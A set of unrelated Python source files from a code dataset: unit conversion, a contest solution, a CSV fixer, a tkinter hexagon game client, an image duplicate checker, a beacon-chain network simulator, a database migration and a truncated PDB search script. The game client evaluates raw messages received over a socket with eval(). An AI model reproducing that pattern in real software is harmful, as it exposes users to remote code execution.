the unit to look up\n @type unit: L{Unit}\n @return: the set of compatible units\n @rtype: set(L{Unit})\n @raise L{UnitError}: not found\n '''\n for basin in self.basins.values():\n if unit in basin:\n return basin\n raise UnitError(\"Basin for unit %s not found\" % unit)\n\n def getBasinByReference(self, reference):\n '''\n @summary: look up the compatible units of a given unit with the calling reference\n @param reference:\n @return: the set of compatible units\n @rtype: set(L{Unit})\n @raise L{UnitError}: not found\n '''\n try:\n unit = self[reference]\n return self.getBasinByUnit(unit)\n except UnitError:\n raise UnitError(\"Basin for unit reference %s not found\" % reference)\n\n def op_lt_forward(self, value, so):\n (scale, offset) = so\n def op(value):\n return scale * self.intORfloat( value ) + offset\n if isinstance(value, list):\n return map(lambda x: op(x), value)\n return op(value)\n\n def op_lt_inverse(self, value, so):\n (scale, offset) = so\n def op(value):\n return (self.intORfloat( value ) - offset) / float(scale)\n if isinstance(value, list):\n return map(lambda x: op(x), value)\n return op(value)\n\n def op_rt_forward(self, value, expression):\n def op(value):\n raise UnitError(\"not implemented\")\n if isinstance(value, list):\n return map(lambda x: op(x), value)\n return op(value)\n\n op_rt_inverse = op_rt_forward\n\n def convert(self, value, from_unit, to_unit):\n '''\n @summary: convert a value of one unit to the other\n @param value: input value in from_unit\n @param from_unit: the original unit of the input value\n @type from_unit: L{Unit}\n @param to_unit: the requested new unit\n @type to_unit: L{Unit}\n @raise L{UnitError}: unknown unit / incompatible units\n '''\n if not UnitManager.__contains__(self, str(from_unit)):\n raise UnitError(\"Unknown from_unit\")\n if not UnitManager.__contains__(self, str(to_unit)):\n raise UnitError(\"Unknown to_unit\")\n if from_unit == to_unit:\n return value\n\n while from_unit._ancestor:\n op, oparg = self.conversionpaths[(from_unit, from_unit._ancestor)]\n value = op(value, oparg)\n from_unit = from_unit._ancestor\n heap = []\n while to_unit._ancestor:\n op, oparg = self.conversionpaths[(to_unit._ancestor, to_unit)]\n heap.append((op, oparg))\n to_unit = to_unit._ancestor\n if from_unit != to_unit:\n raise UnitError(\"Different base units %s %s\" % (from_unit, to_unit))\n while len(heap):\n op, oparg = heap.pop(0)\n value = op(value, oparg)\n return value\n\n","sub_path":"Monitoring/MonitoringService/DataProcessing/Unit.py","file_name":"Unit.py","file_ext":"py","file_size_in_byte":13571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"211806979","text":"#! /usr/bin/env python\n\nT = int(input())\n\nfor t in range(1, T+1):\n n, s = input().split()\n n = int(n)\n ss = [ord(x) - ord('0') for x in s]\n need = 0\n now = 0\n for i, x in enumerate(ss):\n if now < i:\n need += i - now\n now = i\n now += x\n\n print(\"Case #{}: {}\".format(t, need))\n \n","sub_path":"solutions_5639104758808576_0/Python/LeoMao/pa.py","file_name":"pa.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"292755740","text":"import csv\nimport ConfigParser\nimport glob, os\n\t\nconfig = ConfigParser.RawConfigParser()\n\t\ntry: \n\tproperties = config.read('config.ini')\n\trows = int(config.get('CONFIGURATION', 'number_of_rows').strip('\"'))\n\tposition = int(config.get('CONFIGURATION', 'position_to_be_corrected').strip('\"'))\n\tdelimiter = config.get('CONFIGURATION', 'delimiter').strip('\"')\n\tsubstitute = config.get('CONFIGURATION', 'substitute').strip('\"')\n\nexcept (ConfigParser.NoSectionError, ConfigParser.NoOptionError):\n\trows = 20\n\tposition = 5\n\tdelimiter = ';'\n\tsubstitute = ''\n\nos.chdir(\"files/\")\nfor f in glob.glob(\"*.csv\"):\n\tif \"modified\" not in f:\n\t\tinput = open(f, 'rb')\n\t\tfile = csv.reader(input, delimiter=delimiter)\n\t\t\n\t\ttext = []\n\t\tfor row in file:\t\n\t\t\tnew_row = []\n\t\t\t\n\t\t\tif(len(row) > rows):\n\t\t\t\t\n\t\t\t\tdifference = len(row) - rows;\n\t\t\t\tnew_row = row[0:position-1]\n\t\t\t\tdescription = row[position-1:position+difference]\n\t\t\t\tdescription = substitute.join(description)\n\t\t\t\tnew_row.append(description)\n\t\t\t\tnew_row.extend(row[position+difference:])\n\t\t\t\ttext.append(new_row)\n\t\t\telse:\n\t\t\t\ttext.append(row)\n\n\t\twith open(os.path.splitext(os.path.basename(f))[0] + '_modified.csv', 'wb') as output:\n\t\t\tdestination = csv.writer(output, delimiter=';')\n\t\t\tdestination.writerows(text)\n\t\t\t\n\t\tinput.close()\n\t\toutput.close()","sub_path":"CSVCorrectorBETA.py","file_name":"CSVCorrectorBETA.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"398932856","text":"# =============================================================================\n'''\nQuick description of the file\n'''\n# =============================================================================\n__author__ = 'Simon Lassourreuille & Loizel Antoine'\n__version__ = ''\n__date__ = '26/01/2017'\n__email__ = 'simon.lassourreuille@etu.u-bordeaux.fr & antoine.loizel@etu.u-bordeaux.fr'\n__status__ = 'TD'\n# =============================================================================\nimport socket\nimport threading\nimport tkinter as tk\nfrom cmath import rect\nfrom math import pi, cos, sqrt\n\nfrom PIL import Image, ImageTk\n\nimport network\nfrom Main import *\n\n\n# =============================================================================\ndef load_image(path, resize=None):\n image = Image.open(path)\n if resize:\n image.thumbnail(resize, Image.ANTIALIAS)\n return ImageTk.PhotoImage(image)\n\n# =============================================================================\nclass Game(tk.Tk):\n def __init__(self, p = Plateau(5, 7), online=True):\n # Init of tk window\n tk.Tk.__init__(self)\n self.title(\"You Lost The Game\")\n\n # Attributes\n self.p = p\n self.width = 40\n self.player = 0\n self.__hexagons = {}\n self.__images = {}\n self.__tokens = []\n self.__victory = []\n self.finished = False\n\n # Init of tk canvas\n self.canvas = Workspace(self, p.hauteur, self.width)\n self.canvas.pack(expand=True, fill='both')\n self.canvas['height'] = self.p.hauteur * self.width * 1.7\n self.canvas['width'] = (2 * self.p.largeur + self.p.hauteur // 2) * 1.08 * self.width\n\n # Images init\n size = (self.width*2,self.width*2)\n for i in range(3):\n if i > 0:\n self.__images[i, '_'] = load_image(\"Sprites/Hexagon {} _.png\".format(i), size)\n if i < 2:\n self.__tokens.append(load_image(\"Sprites/Token {}.png\".format(i),(self.width,self.width)))\n self.__victory.append(load_image(\"Sprites/Victory {}.png\".format(i+1)))\n self.__images[i] = load_image(\"Sprites/Hexagon {}.png\".format(i), size)\n\n # Bindings\n self.bind('', self.on_click)\n self.bind('', self.test)\n self.bind('', self.replay)\n self.protocol(\"WM_DELETE_WINDOW\", self.on_closing)\n\n # Networking\n if online:\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n # self.socket.connect(('192.168.173.1', network.PORT))\n self.socket.connect(('127.0.0.1', network.PORT))\n print(\" Connected to the server \".center(80, \"=\"))\n thread = threading.Thread(target=self.server_input, daemon=True)\n thread.start()\n self.token = 0\n\n print(\"=\" * 30 + \" Game Started \" + \"=\" * 30)\n self.reset()\n self.display()\n self.mainloop()\n\n # -------------------------------------------------------------------------\n def server_input(self):\n rest = bytes()\n while True:\n try:\n # blocks\n (msgs, rest) = network.recv_msgs(self.socket, rest)\n for msg in msgs:\n self.handle_requests(msg)\n except ConnectionError:\n print('Connection to server closed')\n self.socket.close()\n break\n\n # -------------------------------------------------------------------------\n def handle_requests(self, request):\n print(\"received request : \", request)\n eval(request)\n\n # -------------------------------------------------------------------------\n def reset(self):\n # Reset the Plateau\n self.finished = False\n self.p = Plateau(self.p.largeur, self.p.hauteur)\n self.p[0].valeur = NOIR\n self.p[-1].valeur = NOIR\n self.p[0, self.p.largeur - 1].valeur = BLANC\n self.p[self.p.hauteur - 1, 0].valeur = BLANC\n self.token = 0\n self.display()\n self.random()\n\n # -------------------------------------------------------------------------\n def check_victory(self):\n if (not self.p.jouables(NOIR)) or (not self.p.jouables(BLANC)):\n if self.p.jouables(NOIR):\n self.p.jouables(NOIR)[0].valeur = NOIR\n elif self.p.jouables(BLANC):\n self.p.jouables(BLANC)[0].valeur = BLANC\n self.display()\n if len(self.p.libres) > 0:\n self.after(1750, self.check_victory)\n else :\n self.on_game_end()\n\n # -------------------------------------------------------------------------\n def on_game_end(self):\n self.finished = True\n scores = [len(list(filter(lambda x: x.valeur == color, self.p.configuration))) for color in (BLANC, NOIR)]\n winner = 0 if scores[0] > scores[1] else 1\n self.canvas.create_image(self.winfo_width() * 0.5, self.winfo_height() * 0.5, image=self.__victory[winner])\n\n # -------------------------------------------------------------------------\n def replay(self, unused_ev):\n if self.finished:\n network.send_msg(self.socket, \"replay\")\n\n # ------------------------------------------------------------------------\n def random(self):\n if self.token == self.player and self.p.jouables([BLANC,NOIR][self.player]):\n cell = self.select(self.p.jouables([BLANC,NOIR][self.player]))\n i,j = self.p.pos2coord(cell.position)\n network.send_msg(self.socket, \"click {} {}\".format(i, j))\n self.check_victory()\n self.after(75, self.random)\n\n def select(self, jouables):\n color = [NOIR, BLANC][self.player]\n best_cell, score = None, -1\n for cell in jouables:\n if cell.force(color) >= score:\n score = cell.force(color)\n best_cell = cell\n return best_cell\n\n # ------------------------------------------------------------------------\n def on_closing(self):\n # Some code\n print(\"\\n\" + \"=\" * 31 + \" Game Ended \" + \"=\" * 31)\n self.destroy()\n\n # -------------------------------------------------------------------------\n def __getitem__(self, item):\n return self.__hexagons.__getitem__(item)\n\n # -------------------------------------------------------------------------\n def __setitem__(self, key, value):\n self.__hexagons.__setitem__(key, value)\n\n # -------------------------------------------------------------------------\n def play(self, i, j, color=None):\n color = [BLANC, NOIR][self.token] if color == None else color\n self.p[i, j].valeur = color\n for cell in self.p[i, j].voisins:\n if cell.valeur != VIDE and cell.valeur != color:\n cell.valeur = color\n self.display()\n self.check_victory()\n\n # -------------------------------------------------------------------------\n def test(self, ev):\n x = self.winfo_pointerx() - self.winfo_rootx()\n y = self.winfo_pointery() - self.winfo_rooty()\n for (i, j), hex in self.__hexagons.items():\n if hex.enter(x, y):\n pass\n\n # -------------------------------------------------------------------------\n def on_click(self, ev):\n print(\"Player :\", self.player, \"Token :\", self.token)\n for (i, j), hex in self.__hexagons.items():\n if hex.enter(ev.x, ev.y) and self.p[i, j].estAccessible([BLANC,NOIR][self.player]):\n network.send_msg(self.socket, \"click {} {}\".format(i, j))\n\n # -------------------------------------------------------------------------\n def display(self):\n self.canvas.delete(\"all\")\n\n self.canvas.create_image(self.width/2, self.width/1.8, image=self.__tokens[self.token])\n for x in self.p.configuration:\n i,j = self.p.pos2coord(x.position)\n p = self.canvas.coord2pixels((i, j),\n origin=((self.p.hauteur // 2) * 2 * self.width) * 1J + self.width)\n self[i, j] = Hexagon(self.width, int(p.real), int(p.imag))\n index = {VIDE: 0, BLANC: 1, NOIR: 2}[self.p[i, j].valeur]\n image = self.__images[index]\n self.canvas.create_image(p.real, p.imag, image=image, tags=(\"%s,%s\") % (i, j))\n # if True :\n # self.canvas.create_text(p.real, p.imag, text = str((i,j)))\n\n# =============================================================================\ndef create_complex(create):\n \" Décorateur pour permettre l'utilisation de complexes comme coordonnées \"\n def decorator(*args, **kwargs):\n newargs = []\n for element in args:\n if type(element) is complex:\n newargs += [element.real] + [element.imag]\n else:\n newargs.append(element)\n create(*newargs, **kwargs)\n\n return decorator\n# =============================================================================\n\nclass Workspace(tk.Canvas):\n def __init__(self, master, h, w, *args, **kwargs):\n tk.Canvas.__init__(self, master, *args, bg='#FFFFFF', **kwargs)\n self.create_polygon = create_complex(self.create_polygon)\n self.create_line = create_complex(self.create_line)\n self.board_height = h\n self.hexagon_width = w\n\n # -------------------------------------------------------------------------\n @create_complex\n def create_hexagon(self, width, x, y=None, angle = pi / 6):\n if y is None: x, y = x.real, x.imag\n points = []\n for i in range(6):\n points.append(x + y * 1j + rect(width, angle + i * (pi / 3)))\n self.create_polygon(*points, fill='white', outline='black')\n\n # -------------------------------------------------------------------------\n def coord2pixels(self, coords, origin = 50 + 200 * 1J):\n v = [rect(self.hexagon_width, pi / 6 + i * (pi / 3)) for i in range(6)]\n k = v[-1] + v[-2] if (coords[0] - self.board_height // 2) <= 0 else v[0] + v[1]\n return origin + coords[1] * (v[0] + v[-1]) + abs(coords[0] - self.board_height // 2) * k\n # -------------------------------------------------------------------------\n\n# =============================================================================\nclass Hexagon(object):\n id = 0\n\n def __init__(self, width, x, y, tag = ''):\n \"\"\" Stocke les coordonnées et dimensions d'un Hexagone\"\"\"\n self.tag = tag if tag else str(Hexagon.id)\n Hexagon.id += 1\n self.width = width\n self.x, self.y = x, y\n\n # -------------------------------------------------------------------------\n def enter(self, x, y):\n p = abs(self.x - x) + abs(self.y - y) * 1j\n if sqrt(p.real ** 2 + p.imag ** 2) > self.width:\n return False\n # |- - _ _\n # | - - _ _\n # | triangle - - _ _\n # | - - _ _\n # | |\n # | |\n # | Rectangle | height\n # | |\n # | ___________width_____________ |\n width = self.width * cos(pi / 6)\n height = sqrt(self.width ** 2 - width ** 2)\n # First : rectangle check\n if p.real < width and p.imag < height:\n return True\n # Second : triangle check\n p0 = 0 + height * 1j\n p1 = width + height * 1j\n p2 = 0 + self.width * 1j\n Area = 0.5 * (-p1.imag * p2.real + p0.imag * (-p1.real + p2.real)\n + p0.real * (p1.imag - p2.imag) + p1.real * p2.imag)\n s = 1 / (2 * Area) * (p0.imag * p2.real - p0.real * p2.imag +\n (p2.imag - p0.imag) * p.real + (p0.real - p2.real) * p.imag)\n t = 1 / (2 * Area) * (p0.real * p1.imag - p0.imag * p1.real +\n (p0.imag - p1.imag) * p.real + (p1.real - p0.real) * p.imag)\n\n if s > 0 and t > 0 and 1 - s - t > 0:\n return True\n return False\n # -------------------------------------------------------------------------\n\n\nif __name__ == '__main__':\n game = Game()\n","sub_path":"Random.py","file_name":"Random.py","file_ext":"py","file_size_in_byte":12214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"377269458","text":"from PIL import Image\nimport tensorflow as tf\nimport numpy as np\nimport glob\n\nflags = tf.app.flags\nflags.DEFINE_string('img_dir', '/home/plantvillage/Dropbox/Object_Detection/warehouse/Cassava/images/cassava_dashboard/cassava_capture/unsorted_images_backup', 'Path to the directory of images')\nFLAGS = flags.FLAGS\n\n\nimg_dir = FLAGS.img_dir\ni = 0\nj = 0\n# Read in images using Pillow\nfor img_path in glob.glob(img_dir + '*'):\n j+=1\n for second_img_path in glob.glob(img_dir + '*'):\n if img_path != second_img_path:\n if i % 100 == 0:\n print('Inside loop: %d\\tOutside loop: %d' % (i, j))\n i+=1\n image = Image.open(img_path)\n comp_image = Image.open(second_img_path)\n\n (comp_img_width, comp_img_height) = comp_image.size\n comp_image_np = np.array(comp_image.getdata()).reshape(\n (comp_img_width, comp_img_height, 3)).astype(np.uint8)\n\n # Convert image into numpy array\n (im_width, im_height) = image.size\n image_np = np.array(image.getdata()).reshape(\n (im_height, im_width, 3)).astype(np.uint8)\n\n # Look at all columns and all channels of a single row\n row = 0\n comp_row = comp_image_np[row,:,:]\n og_row = image_np[row, :, :]\n\n if np.array_equal(og_row, comp_row):\n print('Found Duplicate!!')\n print('First image:' + img_path)\n print('Second image:' + second_img_path)","sub_path":"tools/check_exact_duplicates.py","file_name":"check_exact_duplicates.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"194863608","text":"import time\nfrom typing import Set, Optional, Sequence, Tuple, Dict\nfrom dataclasses import dataclass, field\n\nfrom model.specs import (\n VALIDATOR_REGISTRY_LIMIT,\n ValidatorIndex, Slot,\n BeaconState, Attestation, SignedBeaconBlock,\n)\nfrom model.validatorlib import (\n BRValidator, SyncCommitteeBundle\n)\n\nfrom eth2spec.utils.ssz.ssz_typing import Container, List, uint64\n\nlog = False # set to True to receive an avalanche of messages\n\nclass NetworkSetIndex(uint64):\n pass\n\n@dataclass\nclass NetworkSet(object):\n validators: List[ValidatorIndex, VALIDATOR_REGISTRY_LIMIT]\n\n@dataclass\nclass NetworkAttestation(object):\n item: Attestation\n info_sets: List[NetworkSetIndex, VALIDATOR_REGISTRY_LIMIT]\n\n@dataclass\nclass NetworkSyncCommittee(object):\n item: SyncCommitteeBundle\n info_sets: List[NetworkSetIndex, VALIDATOR_REGISTRY_LIMIT]\n\n@dataclass\nclass NetworkBlock(object):\n item: SignedBeaconBlock\n info_sets: List[NetworkSetIndex, VALIDATOR_REGISTRY_LIMIT]\n\n@dataclass\nclass Network(object):\n validators: List[BRValidator, VALIDATOR_REGISTRY_LIMIT]\n sets: List[NetworkSet, VALIDATOR_REGISTRY_LIMIT]\n\n # In a previous implementation, we kept attestations and blocks in the same queue.\n # This was unwieldy. We can extend this easily by adding `Attester/ProposerSlashing`s\n attestations: List[NetworkAttestation, VALIDATOR_REGISTRY_LIMIT] = field(default_factory=list)\n sync_committees: List[SyncCommitteeBundle, VALIDATOR_REGISTRY_LIMIT] = field(default_factory=list)\n blocks: List[NetworkBlock, VALIDATOR_REGISTRY_LIMIT] = field(default_factory=list)\n\n # We have the possibility of malicious validators refusing to propagate messages.\n # Unused so far and untested too.\n malicious: List[ValidatorIndex, VALIDATOR_REGISTRY_LIMIT] = field(default_factory=list)\n\ndef get_all_sets_for_validator(network: Network, validator_index: ValidatorIndex) -> Sequence[NetworkSetIndex]:\n # Return indices of sets to which the validator belongs\n\n return [i for i, s in enumerate(network.sets) if validator_index in s.validators]\n\ndef get_all_sets_for_validators(\n network: Network,\n validator_indices: Sequence[ValidatorIndex]\n) -> Sequence[NetworkSetIndex]:\n # Return indices of sets to which validators in `validator_indices` belong\n\n return [i for i, s in enumerate(network.sets) if len(set(s.validators) & set(validator_indices)) > 0]\n\ndef items_known_by_sets(network: Network, info_sets: Sequence[NetworkSetIndex]) -> Dict[str, Sequence[Container]]:\n # Known network items of network sets `info_sets`\n\n known_attestations = [item for item in network.attestations if len(set(item.info_sets) & info_sets) > 0]\n known_sync_committees = [item for item in network.sync_committees if len(set(item.info_sets) & info_sets) > 0]\n known_blocks = [item for item in network.blocks if len(set(item.info_sets) & info_sets) > 0]\n return {\n \"attestations\": known_attestations,\n \"sync_committees\": known_sync_committees,\n \"blocks\": known_blocks,\n }\n\ndef knowledge_set(network: Network, validator_index: ValidatorIndex) -> Dict[str, Sequence[Container]]:\n # Known network items of validator `validator_index`\n\n info_sets = set(get_all_sets_for_validator(network, validator_index))\n return items_known_by_sets(network, info_sets)\n\ndef knowledge_set_union(\n network: Network,\n validator_indices: Sequence[ValidatorIndex]\n) -> Dict[str, Sequence[Container]]:\n # Known network items of validators in `validator_indices`\n\n info_sets = set(get_all_sets_for_validators(network, validator_indices))\n return items_known_by_sets(network, info_sets)\n\ndef ask_to_check_backlog(network: Network,\n validator_indices: Set[ValidatorIndex]) -> None:\n # Called right after a message (block or attestation) was sent to `validator_indices`\n # Asks validators to check if they can e.g., definitely include attestations in their\n # latest messages or record blocks.\n for validator_index in validator_indices:\n validator = network.validators[validator_index]\n\n # Check if there are pending attestations/blocks that can be recorded\n known_items = knowledge_set(network, validator_index)\n validator.check_backlog(known_items)\n\ndef disseminate_attestations(network: Network, items: Sequence[Tuple[ValidatorIndex, Attestation]]) -> None:\n # We get a set of attestations and disseminate them over the network\n\n # Finding out who receives a new attestation\n broadcast_validators = set()\n for item in items:\n sender = item[0]\n attestation = item[1]\n broadcast_list = get_all_sets_for_validator(network, sender)\n\n # The sender records that they have sent an attestation\n network.validators[sender].log_attestation(attestation)\n\n # Adding the attestation to network items\n networkItem = NetworkAttestation(item=attestation, info_sets=broadcast_list)\n network.attestations.append(networkItem)\n\n # Update list of validators who received a new item\n for info_set_index in broadcast_list:\n broadcast_validators |= set(network.sets[info_set_index].validators)\n\n ask_to_check_backlog(network, broadcast_validators)\n\ndef disseminate_sync_committees(network: Network, items: Sequence[Tuple[ValidatorIndex, SyncCommitteeBundle]]) -> None:\n # We get a set of sync committees and disseminate them over the network\n\n # Finding out who receives a new attestation\n broadcast_validators = set()\n for item in items:\n sender = item[0]\n sc_bundle = item[1]\n broadcast_list = get_all_sets_for_validator(network, sender)\n\n # The sender records that they have sent an attestation\n network.validators[sender].log_sync_committee(sc_bundle)\n\n # Adding the attestation to network items\n networkItem = NetworkSyncCommittee(item=sc_bundle, info_sets=broadcast_list)\n network.sync_committees.append(networkItem)\n\n # Update list of validators who received a new item\n for info_set_index in broadcast_list:\n broadcast_validators |= set(network.sets[info_set_index].validators)\n\n ask_to_check_backlog(network, broadcast_validators)\n\ndef disseminate_block(network: Network,\n sender: ValidatorIndex,\n item: SignedBeaconBlock,\n to_sets: List[NetworkSetIndex, VALIDATOR_REGISTRY_LIMIT] = None) -> None:\n # `sender` disseminates a block to its information sets, i.e., other validators they are peering\n # with.\n\n # Getting all the sets that `sender` belongs to\n broadcast_list = get_all_sets_for_validator(network, sender) if to_sets is None else to_sets\n\n # The validator records that they have sent a block\n network.validators[sender].log_block(item)\n\n # Adding the block to network items\n networkItem = NetworkBlock(item=item, info_sets=broadcast_list)\n network.blocks.append(networkItem)\n\n # A set of all validators who need to update their internals after reception of the block\n broadcast_validators = set()\n for info_set_index in broadcast_list:\n broadcast_validators |= set(network.sets[info_set_index].validators)\n\n ask_to_check_backlog(network, broadcast_validators)\n\ndef update_network(network: Network) -> None:\n # The \"heartbeat\" of the network. When called, items propagate one step further on the network.\n\n # We need to propagate both blocks and attestations\n item_sets = [network.blocks, network.attestations]\n\n # These are the validators who receive a new item (block or attestation)\n broadcast_validators = set()\n\n for item_set in item_sets:\n for item in item_set:\n # For each item, we find the new validators who hear about it for the first time\n # and the validators who already do. Items propagate from validators who know about them.\n known_validators = set()\n for info_set in item.info_sets:\n known_validators = known_validators.union(set(network.sets[info_set].validators))\n\n # When a validator belongs to a set A where the item was propagated AND\n # to a set B where it wasn't, the validator propagates the item to set B\n unknown_sets = [i for i, s in enumerate(network.sets) if i not in item.info_sets]\n for unknown_set in unknown_sets:\n new_validators = set(network.sets[unknown_set].validators)\n for new_validator in new_validators:\n if new_validator in known_validators and new_validator not in network.malicious:\n item.info_sets.append(unknown_set)\n broadcast_validators |= new_validators\n break\n\n ask_to_check_backlog(network, broadcast_validators)\n","sub_path":"notebooks/reorg/beaconrunner/model/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":8842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"151250450","text":"\"\"\"empty message\n\nRevision ID: 283656f60272\nRevises: \nCreate Date: 2018-07-13 19:24:09.979017\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '283656f60272'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('banner',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('banner_name', sa.String(length=250), nullable=False),\n sa.Column('image_url', sa.String(length=250), nullable=False),\n sa.Column('link_url', sa.String(length=250), nullable=False),\n sa.Column('priority', sa.Integer(), nullable=True),\n sa.Column('create_time', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('board',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('board_name', sa.String(length=20), nullable=False),\n sa.Column('create_time', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('cmsrole',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('name', sa.String(length=100), nullable=False),\n sa.Column('desc', sa.String(length=200), nullable=True),\n sa.Column('create_time', sa.DateTime(), nullable=True),\n sa.Column('permissions', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('cmsuser',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('username', sa.String(length=100), nullable=False),\n sa.Column('_password', sa.String(length=1500), nullable=False),\n sa.Column('email', sa.String(length=100), nullable=False),\n sa.Column('join_time', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('email')\n )\n op.create_table('front_user',\n sa.Column('id', sa.String(length=100), nullable=False),\n sa.Column('telephone', sa.String(length=12), nullable=True),\n sa.Column('username', sa.String(length=100), nullable=False),\n sa.Column('_password', sa.String(length=1500), nullable=False),\n sa.Column('email', sa.String(length=30), nullable=True),\n sa.Column('realname', sa.String(length=50), nullable=True),\n sa.Column('avatar', sa.String(length=100), nullable=True),\n sa.Column('singature', sa.String(length=100), nullable=True),\n sa.Column('gender', sa.String(length=10), nullable=True),\n sa.Column('join_time', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('email'),\n sa.UniqueConstraint('telephone')\n )\n op.create_table('cms_role_user',\n sa.Column('cms_role_id', sa.Integer(), nullable=False),\n sa.Column('cms_user_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['cms_role_id'], ['cmsrole.id'], ),\n sa.ForeignKeyConstraint(['cms_user_id'], ['cmsuser.id'], ),\n sa.PrimaryKeyConstraint('cms_role_id', 'cms_user_id')\n )\n op.create_table('follow',\n sa.Column('follower_id', sa.String(length=100), nullable=False),\n sa.Column('followed_id', sa.String(length=100), nullable=False),\n sa.Column('create_time', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['followed_id'], ['front_user.id'], ),\n sa.ForeignKeyConstraint(['follower_id'], ['front_user.id'], ),\n sa.PrimaryKeyConstraint('follower_id', 'followed_id')\n )\n op.create_table('post',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('title', sa.String(length=200), nullable=False),\n sa.Column('content', sa.Text(), nullable=False),\n sa.Column('create_time', sa.DateTime(), nullable=True),\n sa.Column('hit', sa.Integer(), nullable=True),\n sa.Column('comment_num', sa.Integer(), nullable=True),\n sa.Column('author_id', sa.String(length=100), nullable=False),\n sa.Column('board_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['author_id'], ['front_user.id'], ondelete='CASCADE'),\n sa.ForeignKeyConstraint(['board_id'], ['board.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('comment',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('content', sa.Text(), nullable=False),\n sa.Column('create_time', sa.DateTime(), nullable=True),\n sa.Column('post_id', sa.Integer(), nullable=True),\n sa.Column('author_id', sa.String(length=100), nullable=True),\n sa.ForeignKeyConstraint(['author_id'], ['front_user.id'], ondelete='CASCADE'),\n sa.ForeignKeyConstraint(['post_id'], ['post.id'], ondelete='CASCADE'),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('highlight_post',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('post_id', sa.Integer(), nullable=True),\n sa.Column('create_time', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['post_id'], ['post.id'], ondelete='CASCADE'),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('highlight_post')\n op.drop_table('comment')\n op.drop_table('post')\n op.drop_table('follow')\n op.drop_table('cms_role_user')\n op.drop_table('front_user')\n op.drop_table('cmsuser')\n op.drop_table('cmsrole')\n op.drop_table('board')\n op.drop_table('banner')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/283656f60272_.py","file_name":"283656f60272_.py","file_ext":"py","file_size_in_byte":5470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"498864458","text":"import urllib.request\nimport pandas as pd\nimport pathlib\nfrom Bio import pairwise2\nfrom Bio.pairwise2 import format_alignment\nimport numpy as np\nimport os \nimport Bio.PDB\nfrom operator import itemgetter\nfrom itertools import groupby\nimport warnings\n\n# silence biopython warning \nfrom Bio import BiopythonWarning\nwarnings.simplefilter('ignore', BiopythonWarning)\n\n\n#### Download pdb and get information about them\n\nclass get_pdbs(object):\n def __init__(self,seq_template,template_type,cutoff=80.0):\n '''\n seq_template: searching sequence template (can be residue sequence or PDBID_CHAINID)\n template_type: 'pdb' or 'fasta' \n cutoff: similarity cutoff \n '''\n self.seq_template = seq_template\n self.template_type = template_type\n self.cutoff = cutoff\n\n\n def search_for_seq(self):\n '''\n search pdb database by sequence similarity comparing to seq_template pdb or fasta sequence. Structures with similarity higher than the cutoff value are kept\n\n input param:\n result_file: result txt file to store similar pdb ids \n '''\n\n url = 'http://www.rcsb.org/pdb/rest/search'\n if self.template_type == 'pdb':\n PDB_id = self.seq_template[:4]\n chain = self.seq_template[-1]\n sequence =''\n elif self.template_type == 'fasta':\n PDB_id =''\n chain = ''\n sequence = self.seq_template\n else:\n print('input type error!')\n\n queryText = \"\"\"\n \n org.pdb.query.simple.SequenceQuery\n Sequence Search (Structure:Chain = %s:%s, Expectation Value = 90.0, Search Tool = BLAST)\n %s\n %s\n %s\n %s\n blast\n %s\n \n \"\"\"%(PDB_id,chain, PDB_id, chain, sequence, self.cutoff, self.cutoff)\n\n print(\"querying PDB ID ...\\n\")\n\n req = urllib.request.Request(url=url, data=queryText.encode('UTF-8'))\n f = urllib.request.urlopen(req)\n result = f.read()\n\n if result:\n print (\"Found number of PDB entries:\", result.decode('UTF-8').count('\\n'))\n self.pdb_ids = [l[0:4] for l in result.decode('UTF-8').split('\\n')][0:-1]\n #outfile = open(result_file,'w')\n #outfile.write(result.decode('UTF-8'))\n #outfile.close()\n\n else:\n print(\"Failed to retrieve results\")\n\n #pdb_id_list = [l[0:4] for l in result.decode('UTF-8').split('\\n')][0:-1]\n #return pdb_id_list\n\n\n def 